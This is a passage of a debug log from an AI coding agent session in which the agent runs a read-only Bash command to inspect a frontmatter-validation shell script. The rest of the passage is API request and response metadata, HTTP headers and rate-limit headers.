}\n[2026-09-29T07:47:06.432Z] [STDOUT] [log_3cc11f] response parsed {\n[2026-09-29T07:47:06.441Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:06.445Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:06.450Z] [STDOUT]   body: X {\n[2026-09-29T07:47:06.456Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:06.470Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:06.473Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:06.477Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:06.483Z] [STDOUT]     },\n[2026-09-29T07:47:06.487Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:06.492Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:06.497Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:06.505Z] [STDOUT]   },\n[2026-09-29T07:47:06.507Z] [STDOUT]   durationMs: 797,\n[2026-09-29T07:47:06.510Z] [STDOUT] }\n[2026-09-29T07:47:06.634Z] [INFO] {\n[2026-09-29T07:47:06.634Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:06.634Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:06.634Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:47:06.634Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:06.634Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:06.634Z] [INFO]   \"uuid\": \"aaeb91f3-f280-470a-8f6e-6a7da56890f8\"\n[2026-09-29T07:47:06.634Z] [INFO] }\n[2026-09-29T07:47:08.181Z] [INFO] {\n[2026-09-29T07:47:08.181Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:08.181Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:08.181Z] [INFO]   \"estimated_tokens\": 200,\n[2026-09-29T07:47:08.181Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:08.181Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:08.181Z] [INFO]   \"uuid\": \"73f2e389-f688-47e3-b22a-a6f2b94eb324\"\n[2026-09-29T07:47:08.181Z] [INFO] }\n[2026-09-29T07:47:09.549Z] [INFO] {\n[2026-09-29T07:47:09.549Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:09.549Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:09.549Z] [INFO]   \"estimated_tokens\": 300,\n[2026-09-29T07:47:09.549Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:09.549Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:09.549Z] [INFO]   \"uuid\": \"3a90bd2d-af71-4ffe-ac6e-bf50a0ba34a8\"\n[2026-09-29T07:47:09.549Z] [INFO] }\n[2026-09-29T07:47:09.868Z] [INFO] {\n[2026-09-29T07:47:09.868Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:09.868Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:09.868Z] [INFO]   \"estimated_tokens\": 405,\n[2026-09-29T07:47:09.868Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:09.868Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:09.868Z] [INFO]   \"uuid\": \"4cf07478-769f-493c-9ae3-c297a3c40bdd\"\n[2026-09-29T07:47:09.868Z] [INFO] }\n[2026-09-29T07:47:09.889Z] [INFO] {\n[2026-09-29T07:47:09.889Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:09.889Z] [INFO]   \"message\": {\n[2026-09-29T07:47:09.889Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:09.889Z] [INFO]     \"id\": \"msg_011CfXMtBG8jvivxVLUSig2H\",\n[2026-09-29T07:47:09.889Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:09.889Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:09.889Z] [INFO]     \"content\": [\n[2026-09-29T07:47:09.889Z] [INFO]       {\n[2026-09-29T07:47:09.889Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:47:09.889Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:47:09.889Z] [INFO]         \"signature\": \"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\"\n[2026-09-29T07:47:09.889Z] [INFO]       }\n[2026-09-29T07:47:09.889Z] [INFO]     ],\n[2026-09-29T07:47:09.889Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:09.889Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:09.889Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:09.889Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:09.889Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:09.889Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:09.889Z] [INFO]       \"cache_creation_input_tokens\": 1802,\n[2026-09-29T07:47:09.889Z] [INFO]       \"cache_read_input_tokens\": 47331,\n[2026-09-29T07:47:09.889Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:09.889Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:09.889Z] [INFO]         \"ephemeral_1h_input_tokens\": 1802\n[2026-09-29T07:47:09.889Z] [INFO]       },\n[2026-09-29T07:47:09.889Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:47:09.889Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:09.889Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:09.889Z] [INFO]     },\n[2026-09-29T07:47:09.889Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:09.889Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:09.889Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:09.889Z] [INFO]   },\n[2026-09-29T07:47:09.889Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:09.889Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:09.889Z] [INFO]   \"uuid\": \"39754097-705d-4222-bd79-ab7743f4130d\",\n[2026-09-29T07:47:09.889Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:09.866Z\",\n[2026-09-29T07:47:09.889Z] [INFO]   \"request_id\": \"req_011CfXMtAiPU9zQsoKcH4RBV\"\n[2026-09-29T07:47:09.889Z] [INFO] }\n[2026-09-29T07:47:10.843Z] [INFO] {\n[2026-09-29T07:47:10.843Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:10.843Z] [INFO]   \"message\": {\n[2026-09-29T07:47:10.843Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:10.843Z] [INFO]     \"id\": \"msg_011CfXMtBG8jvivxVLUSig2H\",\n[2026-09-29T07:47:10.843Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:10.843Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:10.843Z] [INFO]     \"content\": [\n[2026-09-29T07:47:10.843Z] [INFO]       {\n[2026-09-29T07:47:10.843Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:47:10.843Z] [INFO]         \"id\": \"toolu_014iHFre1avdDWtpUg5H48ST\",\n[2026-09-29T07:47:10.843Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:47:10.843Z] [INFO]         \"input\": {\n[2026-09-29T07:47:10.843Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -n 222,330p tools/validate-frontmatter.sh | grep -n \\\"type\\\\|scope\\\" ; sed -n 60,100p tools/validate-frontmatter.sh\",\n[2026-09-29T07:47:10.843Z] [INFO]           \"description\": \"Check type field validation and class mapping\"\n[2026-09-29T07:47:10.843Z] [INFO]         },\n[2026-09-29T07:47:10.843Z] [INFO]         \"caller\": {\n[2026-09-29T07:47:10.843Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:47:10.843Z] [INFO]         }\n[2026-09-29T07:47:10.843Z] [INFO]       }\n[2026-09-29T07:47:10.843Z] [INFO]     ],\n[2026-09-29T07:47:10.843Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:10.843Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:10.843Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:10.843Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:10.843Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:10.843Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:10.843Z] [INFO]       \"cache_creation_input_tokens\": 1802,\n[2026-09-29T07:47:10.843Z] [INFO]       \"cache_read_input_tokens\": 47331,\n[2026-09-29T07:47:10.843Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:10.843Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:10.843Z] [INFO]         \"ephemeral_1h_input_tokens\": 1802\n[2026-09-29T07:47:10.843Z] [INFO]       },\n[2026-09-29T07:47:10.843Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:47:10.843Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:10.843Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:10.843Z] [INFO]     },\n[2026-09-29T07:47:10.843Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:10.843Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:10.843Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:10.843Z] [INFO]   },\n[2026-09-29T07:47:10.843Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:10.843Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:10.843Z] [INFO]   \"uuid\": \"59ac587f-1581-4e9e-97d8-7566e09ef8b1\",\n[2026-09-29T07:47:10.843Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:10.834Z\",\n[2026-09-29T07:47:10.843Z] [INFO]   \"request_id\": \"req_011CfXMtAiPU9zQsoKcH4RBV\",\n[2026-09-29T07:47:10.843Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:47:10.843Z] [INFO]     \"toolu_014iHFre1avdDWtpUg5H48ST\": {\n[2026-09-29T07:47:10.843Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -n 222,330p tools/validate-frontmatter.sh | grep -n \\\"type\\\\|scope\\\" ; sed -n 60,100p tools/validate-frontmatter.sh\",\n[2026-09-29T07:47:10.843Z] [INFO]       \"description\": \"Check type field validation and class mapping\"\n[2026-09-29T07:47:10.843Z] [INFO]     }\n[2026-09-29T07:47:10.843Z] [INFO]   }\n[2026-09-29T07:47:10.843Z] [INFO] }\n[2026-09-29T07:47:12.321Z] [INFO] {\n[2026-09-29T07:47:12.321Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:12.321Z] [INFO]   \"message\": {\n[2026-09-29T07:47:12.321Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:12.321Z] [INFO]     \"content\": [\n[2026-09-29T07:47:12.321Z] [INFO]       {\n[2026-09-29T07:47:12.321Z] [INFO]         \"tool_use_id\": \"toolu_014iHFre1avdDWtpUg5H48ST\",\n[2026-09-29T07:47:12.321Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:47:12.321Z] [INFO]         \"content\": \"98:    decision-type)\\n103:          error \\\"$path\\\" \\\"$line\\\" \\\"invalid decision-type '$value' (expected one of: governance, methodology, product, curriculum, runtime)\\\"\\n107:    rfc-scope)\\n  esac\\n}\\n\\nnormalize_path() {\\n  local path=\\\"$1\\\"\\n\\n  path=\\\"${path#\\\"$ROOT_DIR\\\"/}\\\"\\n  path=\\\"${path#./}\\\"\\n\\n  printf '%s' \\\"$path\\\"\\n}\\n\\ndocument_class() {\\n  local path\\n  path=\\\"$(normalize_path \\\"$1\\\")\\\"\\n\\n  case \\\"$path\\\" in\\n    # \u041f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u2014 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u0430 \u043d\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442:\\n    # \u0447\u0430\u0441\u0442\u044c \u0435\u0433\u043e \u043f\u043e\u043b\u0435\u0439 \u0437\u0430\u0434\u0430\u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u043c GigaCode (name, description),\\n    # \u0447\u0430\u0441\u0442\u044c \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 (compiled_from, derived_from).\\n    projects/*/execution-package-*/*.md | projects/*/execution-package-*/*/*.md | \\\\\\n    projects/*/execution-package-*/*/*/*.md | projects/*/execution-package-*/*/*/*/*.md)\\n      printf 'execution-package'\\n      ;;\\n    docs/audit/*.md)\\n      printf 'audit'\\n      ;;\\n    research/*.md | docs/analysis/*.md | docs/report/*.md)\\n      printf 'knowledge'\\n      ;;\\n    docs/rfc/README.md)\\n      printf 'governance'\\n      ;;\\n    docs/rfc/*.md | projects/*/docs/rfc/*.md)\\n      printf 'rfc'\\n      ;;\\n    docs/adr/README.md)\\n      printf 'governance'\\n      ;;\\n    docs/adr/*.md | projects/*/decisions/*.md | projects/*/docs/adr/*.md)\\n      printf 'adr'\",\n[2026-09-29T07:47:12.321Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:12.321Z] [INFO]       }\n[2026-09-29T07:47:12.321Z] [INFO]     ]\n[2026-09-29T07:47:12.321Z] [INFO]   },\n[2026-09-29T07:47:12.321Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:12.321Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:12.321Z] [INFO]   \"uuid\": \"2d67de97-bada-4427-b440-8b4bea4803d4\",\n[2026-09-29T07:47:12.321Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:12.296Z\",\n[2026-09-29T07:47:12.321Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:47:12.321Z] [INFO]     \"stdout\": \"98:    decision-type)\\n103:          error \\\"$path\\\" \\\"$line\\\" \\\"invalid decision-type '$value' (expected one of: governance, methodology, product, curriculum, runtime)\\\"\\n107:    rfc-scope)\\n  esac\\n}\\n\\nnormalize_path() {\\n  local path=\\\"$1\\\"\\n\\n  path=\\\"${path#\\\"$ROOT_DIR\\\"/}\\\"\\n  path=\\\"${path#./}\\\"\\n\\n  printf '%s' \\\"$path\\\"\\n}\\n\\ndocument_class() {\\n  local path\\n  path=\\\"$(normalize_path \\\"$1\\\")\\\"\\n\\n  case \\\"$path\\\" in\\n    # \u041f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u2014 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u0430 \u043d\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442:\\n    # \u0447\u0430\u0441\u0442\u044c \u0435\u0433\u043e \u043f\u043e\u043b\u0435\u0439 \u0437\u0430\u0434\u0430\u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u043c GigaCode (name, description),\\n    # \u0447\u0430\u0441\u0442\u044c \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 (compiled_from, derived_from).\\n    projects/*/execution-package-*/*.md | projects/*/execution-package-*/*/*.md | \\\\\\n    projects/*/execution-package-*/*/*/*.md | projects/*/execution-package-*/*/*/*/*.md)\\n      printf 'execution-package'\\n      ;;\\n    docs/audit/*.md)\\n      printf 'audit'\\n      ;;\\n    research/*.md | docs/analysis/*.md | docs/report/*.md)\\n      printf 'knowledge'\\n      ;;\\n    docs/rfc/README.md)\\n      printf 'governance'\\n      ;;\\n    docs/rfc/*.md | projects/*/docs/rfc/*.md)\\n      printf 'rfc'\\n      ;;\\n    docs/adr/README.md)\\n      printf 'governance'\\n      ;;\\n    docs/adr/*.md | projects/*/decisions/*.md | projects/*/docs/adr/*.md)\\n      printf 'adr'\",\n[2026-09-29T07:47:12.321Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:47:12.321Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:12.321Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:12.321Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:12.321Z] [INFO]   }\n[2026-09-29T07:47:12.321Z] [INFO] }\n[2026-09-29T07:47:12.383Z] [STDOUT] [log_eb9258] sending request {\n[2026-09-29T07:47:12.390Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:12.395Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:12.400Z] [STDOUT]   options: {\n[2026-09-29T07:47:12.407Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:12.411Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:12.414Z] [STDOUT]     body: {\n[2026-09-29T07:47:12.418Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:12.425Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:12.431Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:12.434Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:12.437Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:12.455Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:12.459Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:12.472Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:12.476Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:12.481Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:12.484Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:12.490Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:12.499Z] [STDOUT]     },\n[2026-09-29T07:47:12.504Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:12.508Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:12.512Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:12.515Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:12.517Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:12.521Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:12.525Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:12.528Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:12.532Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:12.537Z] [STDOUT]     },\n[2026-09-29T07:47:12.540Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:12.543Z] [STDOUT]   },\n[2026-09-29T07:47:12.545Z] [STDOUT]   headers: {\n[2026-09-29T07:47:12.549Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:12.555Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:12.558Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:12.561Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:12.563Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:12.566Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:12.569Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:12.572Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:12.575Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:12.581Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1421\",\n[2026-09-29T07:47:12.584Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:12.587Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:12.596Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:12.602Z] [STDOUT]     \"x-client-request-id\": \"04ea8b06-981e-4835-b4e4-5e9039b966f5\",\n[2026-09-29T07:47:12.608Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:12.614Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:12.623Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:12.627Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:12.632Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:12.635Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:12.639Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:12.643Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:12.647Z] [STDOUT]   },\n[2026-09-29T07:47:12.651Z] [STDOUT] }\n[2026-09-29T07:47:13.053Z] [STDOUT] [log_eb9258, request-id: \"req_011CfXMtgtLmxURzD3Vvpmvx\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 672ms\n[2026-09-29T07:47:13.059Z] [STDOUT] [log_eb9258] response start {\n[2026-09-29T07:47:13.062Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:13.065Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:13.070Z] [STDOUT]   headers: {\n[2026-09-29T07:47:13.076Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:13.082Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:13.086Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:13.095Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:13.101Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:13.105Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:13.108Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:13.115Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:13.118Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:13.123Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:13.137Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:13.140Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:13.147Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:13.150Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:13.153Z] [STDOUT]     